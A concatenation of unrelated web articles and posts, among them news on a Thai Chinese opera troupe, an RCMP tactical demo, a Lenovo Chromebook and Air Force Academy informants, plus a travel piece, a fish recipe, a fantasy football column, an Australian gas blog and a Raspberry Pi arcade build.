These are the dwindling artifacts of a bygone life, before malls and multiplexes drew their audiences away, performing for a shrinking following of increasingly elderly ethnic Chinese Thais. But the size of the crowd is not important, the singers say. They perform on a higher plane.
“Someday there will be no one left to watch,” said Boonchu Chua, 53, the manager of a troupe. “That’s disappointing, but we aren’t playing for the audience. We play for the gods.” At every performance, the troupe pays homage to the spirits of the local temple.Please enable Javascript to watch this video
FAYETTEVILLE (KFSM) -- The Fayetteville Police Department said Monday (Sept. 26) a group of juveniles that appears in a cell phone video shared on Facebook will not face animal cruelty charges after one of the boys appears to break open a beverage can by hitting it over a goat's head.
The video was posted on Sept. 22 on Facebook by Mollie Catherine Mullins and has since been shared nearly 825 times. It is unclear when the original video of the incident was taken, but Fayetteville police said they were made aware of it Sept. 15.
The video shows a group of boys standing around a goat. One of the boys is holding the goat by its neck while another boy hits the goat over the head with a can to break it open. The goat quickly runs away when it is let go.
Sgt. Craig Stout with Fayetteville police said a school resource officer took down a report about the incident, but the facts of the case did not meet the threshold of animal cruelty. Police contacted the goat's owner and said they found the animal was unharmed, according to Stout. Police have turned over their report to the juvenile prosecutor to determine if the teens should face misdemeanor animal cruelty or any underage drinking charges (CORRECTION: a previous version of this story stated the report was submitted to the Fayetteville city prosecutor).
Under the Arkansas Rules of Criminal Procedure, an officer cannot make an arrest for these types of misdemeanor crimes without a warrant, unless the crime happened in the officer’s presence. According to a release, even if the event was on video, a warrant-less arrest cannot be made.
The goat, which has |
a Palestinian cab raced towards the community's entrance. In it, soldiers and paramedics discovered a Palestinian woman in her 20s in advanced stages of labor and facing a life-threatening situation: The umbilical cord was wrapped around the young baby girl's neck, endangering both her and her mother.
The quick action of settler paramedics and IDF troops deployed in the area saved the mother's and baby's life, prompting great excitement and emotions at the site where residents are still mourning the brutal death of five local family members.
IDF Corporal Levin and Palestinian baby, Jude
Corporal Haim Levin, 19, an IDF paramedic, was the first medical team member at the scene and recounted the dramatic situation he faced.
"When I arrived, I saw a woman covered by a blanket in a yellow Palestinian van. I moved closer and saw the baby's head and upper body," he told Ynet. "The umbilical cord was around the baby's neck; the baby was grey and didn't move."
"I first removed the cord from the neck and at the same time asked paramedics to prepare the baby resuscitation kit. I pinched her to see if she's responding, and she started to cry," he said. Paramedics also treated the mother, who was in good condition at that point, Levin said.
Paramedic: We treat everyone
Meanwhile, ambulance driver Orly Shlomo raced to the scene. "We joined the military paramedic and helped him cut off the umbilical cord…without the medical treatment, the fetus and woman faced genuine life danger," she told Ynet.
"It was touching, but I couldn't help but think that a few meters from there, people were sitting Shiva for another baby, who was murdered," she said. "I was touched to see the face of the new baby, but I also thought about the face of the murdered baby."
Gadi Amitun, who heads the Magen David Adom team at Neve Tzuf, said this was not the first time settlers assist Palestinians in distress.
The paramedic noted that on the day of the Fogel massacre, settlers saw fireworks and celebrations in nearby Palestinian communities, but added that the local medical team is committed to assisting anyone in need.
"Two years ago, we also made sure to treat a terrorist who attempted to place a bomb on the road and was shot by soldiers," he said.
Palestinians from the nearby village of Nabi Salah gathered around the paramedics along with the new grandmother and could not hide their joy.
"They thanked us and told us they named the girl Jude," Corporal Levin said. "I volunteered for Magen David Adom since age 15 and it's the first time I witnessed childbirth. It was an amazing feeling, to hold the girl that was just born in my arms, and to know that in this complex place we did something good."Criticism over an anti-terror tactical drill performed at an RCMP’s Musical Ride event is raising renewed questions if militaristic demos are fit for the family-friendly Mounties horse show.
Video footage from a performance in Ottawa Saturday shows militarized vehicles storming into a ring, officers leaping out and throwing smoke grenades and pulling a shirtless actor out of a car, throwing him onto the ground during a mock arrest.
“Apparently sand is good for your skin,” an announcer is heard saying off-camera over loudspeakers. The show continues with more flash grenades and officers in tactical gear raising their weapons, storming a shed to perform a second mock arrest.
The three-minute show synced to The Tragically Hip’s “Three Pistols” ended with a recruitment pitch.
“The RCMP offers a career like no other if you want to make a difference in your community and country,” the announcer continues. “This can be the career for you.”
Sgt. Harold Pfleiderer said the footage being circulated is of the force’s Emergency Response Team (ERT) demonstration to “show the public an example of the RCMP’s operational response capability” in defusing “dangerous situations.”
The demo was part of a sunset ceremony, he said in an email. It’s meant to “thank citizens of the National Capital Region and all Canadians” for their support of the Mounties.
“ERT has been part of the Sunset Ceremonies in Ottawa for approximately 10 years,” Pfleiderer said, clarifying they’re not part of regular Musical Ride performances anywhere else.
Criticism flared after author and former CBC journalist Frank Koller published a blog post Sunday, calling the exercise a “tasteless, jingoistic” and a “bombastic, paramilitary show-and-tell.”
Koller wrote:
Black-uniformed officers in body armour assume combat postures, the sharp “bang” of stun grenades, smoke bombs releasing white clouds, a huge, black armoured-personnel vehicle circling the scene.… ending with the take-down in the sand of a bad-guy in jeans and no shirt, who is then thrown into the truck and whisked away. All while an enthusiastic voice-over extolls the important goal of keeping Canadians safe.
Maclean’s political editor Paul Wells derided the flash furor by clarifying the tactical exercises have been a part of the Mounties’ Musical Rides for “several years,” adding the ERT drills have always been“reprehensible.”
Please return to your regularly-scheduled freakouts. — Paul Wells (@InklessPW) June 29, 2015
Some vouched the tactical showcases aren’t anything new.
@InklessPW I went about 5 or 6 years ago and they did a demo of drug heist with dogs. They have been showing off capabilities for a while. — Jeffrey Doucet (@jeffrey_doucet) June 29, 2015
While others raised flags about possible politicized elements being woven into modern Musical Rides.
@InklessPW It has been going on at least 5 years. Last I saw it was framed more as cops & robbers not terrorists so that element may be new. — Catherine Scott (@ScottCath) June 29, 2015
The tactical showcase was performed in two of the five scheduled RCMP Musical Rides in Ottawa last week.
It’s part of a Mountie tradition that stems back to 1887 featuring 32 Mounties in red serge riding 32 black horses in choreographed formations.
The Royal Canadian Dragoons perform their musical ride in the Canadian National Exhibition in 1920 in Toronto, Ont. Credit: Canadian National Exhibition/Library and Archives Canada
Four Royal Canadian Mounted Police Musical Ride members leap over hurdles on their horses in 1959. Credit: Canada. Royal Canadian Mounted Police/Library and Archives Canada
The Musical Ride tours throughout Canada and internationally. Show dates have been scheduled at venues in Atlantic provinces and Saskatchewan this summer.
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Also on HuffPost:Microsoft made available to at least some Fast Ring Windows Insiders an updated build of Windows 10 Mobile -- its first new test build released in 2016.
The new build, 10586.63, began trickling out to some with Windows Phones at the end of the day (ET) on January 8. The new build is said to be a Cumulative Update. As of 4:30 p.m. ET, Microsoft officials had not released any information about what kinds of features or fixes were in the build.
In early December 2015, Microsoft delivered its first Cumulative Update for Windows 10 Mobile to Insider testers. That build was 10586.29. Days after pushing that build -- which included primarily performance and stability improvements -- Microsoft also released that same build to Windows 10 Phone users who were not running Insider preview builds. Windows 10 PC and tablet users also got a 10586.29 release at the same time.
Microsoft subsequently released its second Windows 10 Mobile Cumulative Update, 10586.36, a few days later to its Insider testers.
I've asked Microsoft what's new in today's Windows 10 Mobile build. No word back so far. Windows Insider chief Gabe Aul tweeted a few minutes ago that he would be communicating more about what is happening with the new build.
Update: It seems there was a last-minute problem detected with the staging, resulting in Microsoft temporarily pausing availability of the update, Aul tweeted. The company (as of 4:50 pm ET) is resuming the rollout of the build to Insiders in the Fast Ring today, he said.
Update No. 2: The "official" explanation of what happened on Friday re: 105862.63 is here. There are no specifics from Microsoft on that page about what's included in the new build.
Update No. 3: The unofficial word as to what's in 105862.63 looks to be on Reddit. I don't know if this is real, but it looks plausible. (Thanks @MobileTechWorld.)
Aul also tweeted that there are no new features in this test build. "Mostly upgrade fixes and corner-case things per device model," he said when asked for a list of what's new.
Today's Windows 10 Mobile build isn't the one that Microsoft, other Windows Phone makers and carriers are planning to make available to Windows Phone 8.1 users. Microsoft officials said at the end of last year that the upgrade to Windows 10 Mobile would begin rolling out to some subset of existing Windows Phone users in early 2016.The United States has experienced an unusually violent hurricane season, with 13 named Atlantic storms in 2017 so far.
In September, Hurricanes Harvey, Irma, and Maria plowed through the Caribbean and the US Gulf Coast, demolishing homes, knocking out power, flooding neighborhoods, and displacing thousands. When there were warnings that the storms were about to hit, many residents in affected areas decided to flee or relocate to shelters.
Instead of running away from hurricanes, Astrophysicist Neil DeGrasse Tyson believes scientists should work toward harnessing cyclonic energy and turning it into electricity — despite the fact that it's beyond the realm of modern technology.
In an interview with The Today Show on Sunday, he expressed his exasperation with the way Americans respond to storms.
"I’m tired of looking at photos of countless thousands of cars exiting a city, because a hurricane is coming," Tyson told Today. "Where are the engineers and scientists saying, you know, instead of running away from the city that’s about to be destroyed by this hurricane, let me figure out a way to tap the cyclonic energy of this hurricane to drive the power needs of the city that it’s otherwise going to destroy?"
"Where are those people? You need a culture where that becomes a natural state of how people think, rather than 'Buy toilet paper! Buy water! Run!'" he added. "That’s our current natural state, and I don’t think that was the country I grew up in."
What deGrasse Tyson describes would be extremely challenging. While we already convert weather patterns like water and solar power into electricity, these sources do not move and can be easily controlled — unlike hurricanes.
Trapping the energy from a storm like Harvey, which moved up to 130 mph and stretched approximately 400 miles wide, would be a different story.
In 2015, the US had a peak electricity generating capacity of 1,064 gigawatts. The average tropical cyclone releases much more power than that — around 600 terawatts, with wind making up a quarter of a percent of that, according to Smithsonian. The majority of a hurricane's energy is stored as heat and released when water vapor turns into rain.
Some scientists are interested in capturing wind energy from hurricanes. Japanese researchers from the renewable energy firm Challenergy are working on a wind turbine that would be able to capture energy from and withstand powerful typhoons, CNN reported in 2016.
Scientists in Miami are designing screw-like turbines that would mount onto building gutters. The turbines would not only harness energy from storms, but also interrupt vortexes responsible for the majority of roof damage.
Since hurricanes often bring dangerous winds and rainfall, decreasing their intensity would make turning energy into electricity easier. But no one knows how to do this, beyond the larger-scale goal of reducing CO2 emissions that are likely making storms worse.Get the biggest daily news stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Locals in the Dominican Republic have an underlying satisfaction with life that's as infectious as a cold on UK public transport.
And the sun-caked Caribbean nation is home to all things exotic - from quirky local cuisines to tropical mountain hikes packed with colourful creatures.
When it comes to winter sunshine - there are few places that can compare to a balmy 30C in January.
But it's not just the weather you should visit the Dominican Republic for, there are plenty of exciting things to see and experience too, such as...
(Image: David Raven)
That Caribbean happy feeling
As soon as our Thomson plane touched down on the humid tarmac at Punta Cana airport we were fist-bumped and high-fived.
Even workers didn't seem to stress about their daily chores, staff at the Sensatori all-inclusive resort were incredibly chilled out.
Whether it's the rum, sunshine or Caribbean culture, I've got no idea - but everyone we met seemed to be happy and stress-free.
No car to carry your new HD telly? No worries...
(Image: David Raven)
Meet the locals in their vibrant houses
Houses are decorated in bright colours to represent the owner's goals in life.
White homes represent freedom, yellow is money, blue is peace and pink is love.
(Image: David Raven)
(Image: David Raven)
(Image: David Raven)
And with just a short drive from Punta Cana you'll see hundreds of homes lining the streets.
Families are happy to greet you as most will sit outside enjoying the simple life in the sunshine.
(Image: David Raven)
(Image: David Raven)
And bizarrely enough you'll likely see plenty of road side car washes - each one has a built-in late night bar and disco.
Go off-road and explore the jungle
(Image: David Raven)
The Dominican Republic is largely made up of mountains and rainforests.
And all terrains are full of plenty of exotic creatures to explore, from dozing donkeys to terrifying giant lizards.
(Image: David Raven)
Locals who live in the highlands earn their livings from growing coffee beans and cacao.
If you get a chance, then sample the Thomson Jungle Rally excursion, was definitely a highlight of the trip.
Visit one of the perfect beaches
(Image: David Raven)
You can't have a Caribbean holiday without having some chill time on the beach with an ice-cold cocktail.
The seas are clear and the water is warm, just watch out for the choppy waves.
At the Sensatori resort, you can step straight onto Uvero Alto Beach, where the butter-soft sand is dotted with four-poster daybeds.
There's also a day trip to the blissfully isolated Saona Island which is caked in white sand (cost £105.99pp).
See a Caribbean sunset or sunrise
(Image: David Raven)
One of the best ways to start your day in the Dominican Republic is by watching the glorious sunrise along a deserted beach.
And the best way to end it - is to chill out with a cocktail while watching the sun creep down.
GET THERE
Thomson offers seven night holidays to the five star Sensatori Punta Cana in the Dominican Republic on all inclusive for £1,082pp, based on two adults sharing and includes flights on the Dreamliner departing from Gatwick on March 21 and transfers. Book here or call 0871 230 2555.Buy Photo Eastern High School student Roberta Glennon-Rule, flanked by the school’s 2014 Valedictorians, sings The National Anthem at Lansing Eastern's 86 th annual commencement May 31. Eastern could face a state takeover next fall, and the district is implementing new programs aimed at narrowing the gap between high- and low-achieving students and boosting test scores overall. Photo May 30, 2014 by MATTHEW DAE SMITH | for the Lansing State Journal] (Photo: State Journal file photo/Matthew Dae Smith )Buy Photo
"Operating at its current location for several more years" is what Peter Spadafore, Lansing School Board president, says about Eastern High School's future — the subtle implication being after these years.
Spadafore has preconceptions. The idea Eastern has a designated lifespan is unsupported, as he says cost/benefit analysis is still being considered. Renovation is usually cheaper and cleaner than demolition. Essentially, we have lost the will to fix anything: our buildings, finances or our outlook. I admire Spadafore's determination to prevent sentimentality from trumping what is best for the students, but it seems success and sentimentality are not mutually exclusive, and are being thought of as if they are.
This is my last year at Eastern. It's been long enough, and yet far too short a span. I've been irrevocably changed for the better, between endless lockers and above linoleum floors. I've rejoiced and suffered, and grown as a student and more importantly as a human being. The thought of future generations being denied this pivotal period of growth due to thoughtlessness or stubbornness pains every Quaker.
Samuel Klahn
Lansing
Read or Share this story: http://on.lsj.com/1rNpfGxLenovo has announced its first 2-in-1 Chromebook designed specifically for consumers. The Flex 11 laptop is powered by an SoC with four ARM cores, features a 360° hinge, a battery that can last for 10 hours and an anti-spill keyboard, a rare feature on inexpensive PCs. The computer will initially ship without the Google Play Store, but the manufacturer promises that Android apps will be coming to the Flex 11 “soon.” Lenovo plans to start selling the new notebook already this month for a price below $300.
Lenovo was not among the first wave Chromebook manufacturers back in 2011, but released its first laptop running Google’s Chrome OS nearly two years later. Since then the company has been gradually expanding its lineup of Chromebooks targeting different audiences. At first, Lenovo only aimed its ThinkPad X131e Chromebook at students in 2013, then it moved on to business users with the ThinkPad Chromebook 13 in mid-2016. Such approach is perfectly logical because students and road warriors use a relatively limited set of applications. With the Flex 11, the company finally releases a Chrome OS-based computer for general consumers, whose needs are very diverse. One of the reasons why Lenovo can target wide audiences with its Chromebooks is because the Chrome OS now supports Android apps and end users can use a wide range of programs they might need. Keep in mind though that there are not a lot of Android applications developed specifically for tablets or 2-in-1s.
Since the Lenovo Flex 11 Chromebook was designed with Android software in mind, it is not surprising that the manufacturer decided to go with the 2-in-1 form-factor and an 11.6” touchscreen display with a 1366×768 resolution. The 360° hinge of the Flex 11 supports four dynamic modes (watch, tent, laptop, and tablet) to better handle different activities. Lenovo claims that the Flex 11 comes in a drop-resistant enclosure made of plastic with an anti-spill keyboard (can handle up to 330 ml of liquid) and “reinforced” ports (whatever that means). The rugged casing made of thick plastic affected dimensions and weight of the Flex 11: it is 21.2 mm thick and weighs 1.35 kilograms, which means that Lenovo traded portability for lower weight, which is logical as the 2-in-1 has a tablet mode (the lower the better).
When it comes to the CPU, the Lenovo Flex 11 is based on an SoC featuring four ARM cores running at 2.1 GHz. The manufacturer does not elaborate which SoC it uses, but since the notebook looks strikingly similar to the N23 Yoga Chromebook quietly launched earlier this year, it is logical to assume that the two computers use the same processor, the MediaTek MT8173C (also found inside the Acer R13). The MT8173 has two ARM Cortex-A72, two ARM Cortex-A53 general-purpose cores, an LPDDR3 memory controller as well as the PowerVR GX6250 (2 clusters) GPU. The chip was originally released in Q1 2015 and today it can be considered as an entry-level solution, something you expect from a sub-$300 computer.
As for other hardware, the Lenovo Flex 11 is equipped with 4 GB of LPDDR3 memory, 32 GB of eMMC storage (it is possible that higher-end model(s) will include more NAND flash), an 802.11ac Wi-Fi module (no word on Bluetooth, but technically the MT8173 supports it) and a 720p webcam. The laptop also features a USB Type-C port for data and charging, a USB 3.0 header, an HDMI output, an SD card reader as well as a TRRS audio connector for headphones and mic.
Lenovo Flex 11 Chromebook Entry Level Model Screen Resolution 1366×768 CPU MediaTek 8173C (?)
2 × ARM Cortex-A72
2 × ARM Cortex-A53
Note: the SoC is not confirmed by Lenovo Graphics ImgTec PowerVR GX6250 RAM 4 GB LPDDR3 Storage 32 GB of eMMC storage Wi-Fi 802.11ac Wi-Fi module Bluetooth unknown USB USB 3.0 Type-A
USB 3.0 Type-C HDMI One HDMI output Other I/O 720p webcam, TRRS connector for audio Dimensions (H × W × D) 296 mm × 206 mm × 21.2 mm
11.65" × 8.11" × 0.83" Weight 1.35 kilograms / 3.0 pounds Price $279
Lenovo’s Flex 11 Chromebook will hit the shelves later this month and its entry-level configuration will retail for $279. Lenovo did not say when exactly Android apps are coming to the Flex 11, so if you need them, wait till the Chromebook actually gets an appropriate update.
Related Reading:We’ve had gluten-free fish breaded a number of different ways, but last night I cooked them with cornflake crumbs. We thought it had the best all-around flavor and texture of any I’ve cooked.
You could make your own cornflake crumbs in a food processor with gluten-free cornflakes, but this time I used ready-made Southern Homestyle Corn Flake Crumbs distributed by The SoyNut Butter Company. We added some potatoes and a serving of buttered green and yellow beans for one of our favorite gluten-free meals.
Fish Fillets Fried with Cornflake Crumb Breading (Gluten-Free)
Prep Time: 10 minutes Cook Time: 10 minutes Total Time: 20 minutes Makes 4 – 6 servings
Ingredients:
1 1/2 pounds Fish Fillets, fresh or frozen (tilapia, perch, cod, mahi mahi, flounder or other mild white fish)
1/4 cup Oil, or more if needed
1 cup Cornflake Crumbs (Gluten-Free)
1/2 teaspoon Salt
1/2 Teaspoon Old Bay Seafood Seasoning
1/8 teaspoon Pepper
1 whole Egg, beaten slightly
1 Tablespoon Water
Directions:
Partially thaw fillets, if frozen.
Heat oil in skillet.
Combine crumbs and seasonings in a bowl large enough to lay out a fillet.
Stir together beaten egg and water in another bowl.
Dip fillets one at a time first in egg, then in crumb mix, dredging completely on both sides.
Place fillets in hot oil, being careful not to crowd.
Maintain at medium heat, turning periodically, and cook until fish is done –maybe 5 minutes for thinner fillets.
The rule is to cook fresh fish for 10 minutes at most for each inch of thickness.
It should flake easily with a fork in the thickest part.
Drain on paper towels.
Keep warm while cooking the remaining fillets.
Serve with lemon wedges, Dill Sauce, tartar sauce, Parsley Sauce, chili sauce or Salsa.Reliability
Aside from talent, one of the main factors in a player meeting their potential is opportunity and their reliability when opportunity arises. Both Josh Gordon and Martavis Bryant have left fantasy owners questioning if they can eclipse that potential.
Josh Gordon has multiple suspensions for repeated violations of the NFL Policy and Program for Substance of Abuse. In 2013 Gordon was hit with a two-game suspension. He was suspended, initially for the entire 2014 season, after a failed drug test. When the league revised its substance abuse policy, the suspension was reduced to 10 games. Gordon again was suspended the following year after he reportedly tested positive for alcohol, which was a violation and suspended for at least a full calendar year.
Conditionally reinstated by the NFL in the summer of 2016 Gordon could have returned after serving a four-game suspension. However, he never saw the field as he entered himself into a rehab facility and remains on the suspended list. If my math is correct, Gordon has only played in 19 of a possible 64 games due to suspensions dating back to the 2013 season. A season in which he led the league in receiving yards, despite playing in just 14 games.
Martavis Bryant may be following in the same unfortunate footsteps of Gordon, after being suspended for the 2016 season for violating the NFL’s substance-abuse policy. This suspension followed a 2015 season in which the NFL suspended Bryant for the first four games for a violation of the same policy.
Bryant has the lesser history than Gordon, but there’s concern the Clemson product will follow the path Flash has blazed. Reports indicate Bryant has applied for reinstatement and could receive a decision shortly, perhaps at the time of this article.
Martavis Bryant could possibly be reinstated by tomorrow, as @Jacob_Klinger explains in this article. https://t.co/63ZsZM2dvY — Blitzburgh (@Steel_Curtain4) March 27, 2017
Crossroads
Each player is at a crossroads in their football career. Both are relatively young and have little earning potential outside of football. Gordon was scheduled to receive $817,016 and Bryant $600,000 in 2016. Not only did they lose out on this salary but also damaged hopes for potential future earnings. Teams are unlikely to wed themselves to players who pose a risk of being suspended and damaging the image of the franchise.
Image concerns may be one reason why each of their respective teams continued to invest at the wide receiver position during the draft. Seemingly this signals their teams have moved towards supplanting them on the depth chart with more reliable options. As of the time this article, Gordon had applied for reinstatement and Bryant has as well. Each will have much to prove to their team and dynasty owners in 2017.
Dynamic Assets
I have owned Gordon in one dynasty league since drafting him in a startup in 2012 and have held onto him through the peaks and valleys of his value. He was thought of as the number one overall dynasty asset after his breakout 2013 season when he was just 21 years old, but that value has since plummeted, and he is now available in the double-digit rounds of startups. That is a significant drop in value. I have always thought of him as a plus-piece on my roster. I continue to remain competitive without him, and if he can at some point produce, then my team is set to benefit.
If you own Gordon currently and have for any length of time, now is not the time to sell. His name will be in the news, and other owners may start sending offers for his services, but as an owner selling at his value now will burn in the long run.
I anticipate Gordon has at least put himself in a position to make one last effort at playing a regular-season game in the NFL. I would wait until he plays and produces one more time before selling off his rights. He wasn’t productive when he saw the field in 2014 for five games. Gordon’s lack of conditioning may have played a significant role in this. Based on Gordon Twitter account he is focusing on a different path for 2017.
Bryant hasn’t seen as sharp a decline in value as Gordon, and that may be due in large part because of Bryant’s shorter list of occurrences, as opposed to the perceived skill set of either player. Bryant can still be acquired in the 6th round of startup drafts but was taken multiple rounds earlier just one year ago. You can certainly find value is there if you’re willing to take the chance.
I would be a buyer of either player as I am always surveying the market for value bargains. If your dynasty team has 2-3 starting wide receivers, then Gordon or Bryant are worth a roster spot. If either player provides any substance of production this year or next, then maybe take a look at turning them into trade value and acquiring a player with a higher level of reliability. As I alluded to at the beginning of this article one of the main factors in a player meeting their potential is an opportunity and their reliability when the opportunity arises. If there is no reliability, there is no production.It was the 15th birthday of Jay Huber who took some friends and came downtown for skateboarding. The place those kids chose was legal to skate, still police showed up and began messing up with the teens.
In the video we can see a police car approaching Huber who obviously was not doing anything wrong. One of the cops got out of the car, grabbed the boy and swung him around so he was thrown against the concrete. The cops then twisted Huber’s arms behind the back and pushed him into the vehicle. The boy was heard screaming for help.
That’s one of the weirdest arrests we have seen.
By the way, it was Huber’s right as a U.S. citizen to know what he was arrested for. However, cops didn’t feel like explaining the situation. They had complete and total authorization to do everything they wanted.
These cops are real tyrants. They need to go fight some real crime!Since writing about the perceived ‘crisis’ in Australia’s gas supplies, the amount of bullshit coming out of the media, not least social media, is bewildering…… Some of it is downright amusing, and most of it would be really funny, were it not so tragic.
There is so much disinformation out there, it’s hard to even know where to start. The Lock the Gate Alliance fell right into the fossil fuel industry trap with this ridiculous youtube video….
The last thing you need to do if you want to stop the fracking fiasco is to tell everyone there is a shortage of gas… because how do you deal with a shortage? You frack for more..! Especially when there is no shortage and Australia is swimming in gas.
There are no winners in this. The gas companies are forced to sell gas cheaply to Japan and South Korea, neither of which have any energy resources of their own. Australia is the second largest gas exporter after Qatar, and will overtake it within a few years. We export to the nations with the highest demand too. Japan alone, which imports 34% of the world’s gas, so desperate are they for the stuff, could take all our gas, were it not for the fact other arrangements are already in place. Ironically, we sell our gas there so cheaply, it beggars belief. Worse…Qatar raises three times as much in royalties as Australia for selling the same amount of gas. You can blame John Howard for this….. he didn’t believe in peak energy all those years ago when the contracts were signed, and literally forced the hands of the companies to agree to stupid prices which they are now unable to get out of. Unless the government steps in again.
It borders on the ridiculous that Japanese gas customers buy Australian gas more cheaply than Australians, especially as the gas is drilled in the Bass Strait, piped to Queensland, turned into liquid and shipped 6,700 kilometres to Japan … but the Japanese still pay less than Victorians. And I’m reliably informed that piping the gas from Victoria to Queensland costs ten times as much as moving oil…… imagine the ERoEI of doing this..?
Notwithstanding Alan Kohler announcing on ABC news the other night that the era of cheap energy was over (yes, he actually said this… nearly fell of my chair…), energy is not dear. Remember this video? If people were paid for their labour energy at the same rate as fossil fuels, they would be paid SIX CENTS AN HOUR…… that sounds so dreadfully expensive….
While AGL was earnestly talking up gas shortages in 2014, BHP Petroleum chief Mike Yeager told journalists:
We want to make sure that the market knows that the Bass Strait field still has a large amount of gas that’s undeveloped … We have a lot of gas in eastern Australia that’s available. It’s more important to let the citizens of Victoria and New South Wales, and to some degree, you know, even Queensland … there’s plenty of gas to supply those provinces for – you know, indefinitely.
AGL later quietly issued a release to the ASX conceding it had plenty of gas supply. So there you go, it has nothing to do with those greenies locking their gates up after all….
Even the Guardian is at it…..:
Gas prices have doubled and in some cases tripled because gas suppliers are now capable of exporting our gas to high paying customers in Asia.
Like whom exactly…?
And…
Complicating matters is that gas suppliers rushed in to sign export contracts and then subsequently found they didn’t have enough gas to fulfill them. This has left the Australian domestic market very short of gas.
For pity’s sake, where do these people get their information from…?
Now, keeping all our gas to ourselves gets complicated here, and I hope I get this right, as this whole issue is really starting to make my head spin. It turns out, much of the money invested in the gas export system was actually borrowed from Japan. Ever heard of the yen carry trade? It is when investors borrow yen at a low interest rate, then exchange it for U.S. dollars or any other currency in a country that pays a higher interest rate on its bonds. Like Australia does. So if we decide to tell the Japanese to get stuffed, their banks may well want their money back, at which stage the brown stuff hits the fan…… Does our merchant banker PM know this I wonder……?
Luckily for us, last September, Japan’s energy minister informed the world that imports of LNG would continue falling. They fell by 4.7% in 2015 and another 2% in 2016 amid a rising commitment to renewables and the rebooting of nuclear reactors that were shut down after the Fukushima disaster……
Meanwhile, they are all panicking here in Australia trying to keep our ‘energy security’ intact by building batteries and a new gas powered station in SA, and pumped hydro energy storage in NSW at a cost of some three billion dollars. All made with fossil fuels of course, because there’s nothing like them… Most of the benefits will be swamped by population growth within less than a decade……
Because dear reader, the crisis is not a gas crisis, it’s a growth crisis, and it’s all coming to a head. But you already knew that, and we all know nobody will do a thing about it.The United States Air Force reportedly has created a “secret system” of informants at its academy in Colorado Springs to snitch on fellow cadets who break the rules, in an attempt to curb drug abuse and combat sexual assault.
While those who join the Air Force pledge never to lie, cheat or steal, or "tolerate among us anyone who does,” the service allegedly urged informants to deceive classmates, professors and commanders while gathering information to file secret reports aimed at exposing wrongdoing at the Air Force Academy, the Colorado Springs Gazette reports. One self-professed informant, Eric Thomas, 24, told the newspaper he was ordered by the Air Force’s Office of Special Investigations to set up drug purchases, follow suspected rapists and to ultimately feed that information back to Air Force brass.
[pullquote]
“It was exciting. And it was effective,” Thomas, who said he received no compensation for his alleged informant work, told the paper. “We got 15 convictions of drugs, two convictions of sexual assault. We were making a difference. It was motivating, especially with the sexual assaults. You could see the victims have a sense of peace.”
But Thomas said that when he got into a fight with a perpetrator while trying to stop an alleged sexual assault, OSI officials eventually cut all ties and disavowed knowledge of his actions. He was later kicked out of the academy, the newspaper reported.
“It was like a spy movie,” Thomas, who was expelled in April, a month before graduation, told the paper. “I worked on dozens of cases, did a lot of good, and when it all hit the fan, they didn’t know me anymore.”
The Colorado Springs Gazette, which first reported the development on Sunday, identified four alleged informants, three of whom agreed to speak about their experience with OSI. All four had been told they were the only informant on campus, but they eventually learned of each other. The alleged informants interviewed by The Gazette told the newspaper they suspect the campus of 4,400 cadets to have dozens of informants currently on campus.
The Air Force’s top commander and members of the academy’s civilian oversight board claim to have no knowledge of the OSI program. The Gazette, however, reported that it confirmed the program via phone and text records, OSI agents, court filings and documents obtained through the Freedom of Information Act.
Lt. Col. Allen Herritage, a spokesman for the Air Force, told FoxNews.com in a statement that the Air Force Office of Special Investigations does use confidential sources to launch or conclude criminal probes.
"The Air Force Office of Special Investigations, as a federal law enforcement agency, is authorized by Air Force policy to operate a Confidential Informant Program Air Force-wide, including at the Air Force Academy," Herritage wrote in a statement. "The program uses people who confidentially provide vital information for initiating or resolving criminal investigations. OSI does not discuss the existence of ongoing or past confidential informant matters, as doing so could damage the integrity of current and future investigations."
The Air Force’s Office of Special Investigations, according to records obtained by the newspaper, uses “FBI-style tactics” to develop informants, including interrogation for hours without access to an attorney and threats of prosecution in exchange for promises of leniency, the paper reported.
“When finished with informants, OSI takes steps to hide their existence, directing cadets to delete emails and messages, misleading Air Force commanders and Congress, and withholding documents they are required to release under the Freedom of Information Act,” the newspaper reports. “The program also appears to rely disproportionately on minority cadets like Thomas,” who is African-American.
Skip Morgan, a former OSI attorney who headed the law department at the academy, is now representing Thomas.
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the man, is so beyond moral redemption that Trump’s agenda is irrelevant will not fly with those who feel that they are already better off than in 2016. And the idea that conservative populism is a temporary deviation from a winning and properly orthodox Jeb Bush conservatism is delusional.
Trumpism is not an eponymous political movement per se. It was merely an adjective for the reification of far greater preexisting political realities.
Content created by the Center for American Greatness, Inc. is available without charge to any eligible news publisher that can provide a significant audience. For licensing opportunities of our original content, please contact [email protected] centerforamericangreatness.com.This project was probably the funnest project i've done in a while. This little arcade unit is a blast to play. There's not a whole lot to this little case. The case is made up of 1/2" and 1/4" plywood and is covered in mahogany veneer. Check out the video below to see how I made it and feel free to ask my anything in the comments section. The arcade unit is ran off of a raspberry pi that's loaded with retropie. For the screen, it's just a simple 10" LCD monitor that I picked up off of amazon. You can find links to these items below.
Products Used In This Project (Amazon affiliate links help support my builds!)
Gold paint: http://amzn.to/2ax34P9
Surge protector: http://amzn.to/29X0Q9R
USB game controller: http://amzn.to/2ax4vwT
Micro SD card: http://amzn.to/2ax3C7G
Raspberry Pi 3 Model B: http://amzn.to/29X12G4
Raspberry Pi 3 case: http://amzn.to/29X12FS
Raspberry Pi 3 heatsinks: http://amzn.to/2a2xPNH
10 inch LCD monitor: http://amzn.to/2adnTCS
Retropie resources
How to install retropie on the raspberry pi
A great how-to video on installing retropie on the raspberry piLeft-hander Zach Britton took another step toward rejoining the Orioles starting rotation Thursday night, throwing seven strong innings for Double-A Bowie in a 3-2, 14-inning loss at Akron.
Britton, making his second minor league rehab start for the Baysox, allowed just two runs (one earned) on five hits through seven innings, striking out five and walking one. Britton threw 92 pitches, 55 of them for strikes, and induced 12 groundouts versus just four fly-ball outs.
Orioles manager Buck Showalter said Wednesday that Britton, who is rehabbing from left shoulder impingement, will be re-evaluated after Thursday's start.
Since the Orioles don't need a fifth starter until June 9 thanks to two off days in the course of a week, there's no rush to bring Britton up. He could finish his rehab with one or two starts with Triple-A Norfolk.
In 12 innings at Bowie, Britton is 1-0 with a 0.75 ERA and four runs (one earned) in 12 innings with 12 strikeouts and three walks.Media playback is unsupported on your device Media caption Investigating whether patent wars stifle innovation
The patent system - a vital part of our innovation infrastructure, and the only way that inventors can be certain that their ideas can be protected from those who who would steal them.
Or something that is tying innovators big and small in knots and befits only mischief-makers bent on making money in the courts rather than in laboratories.
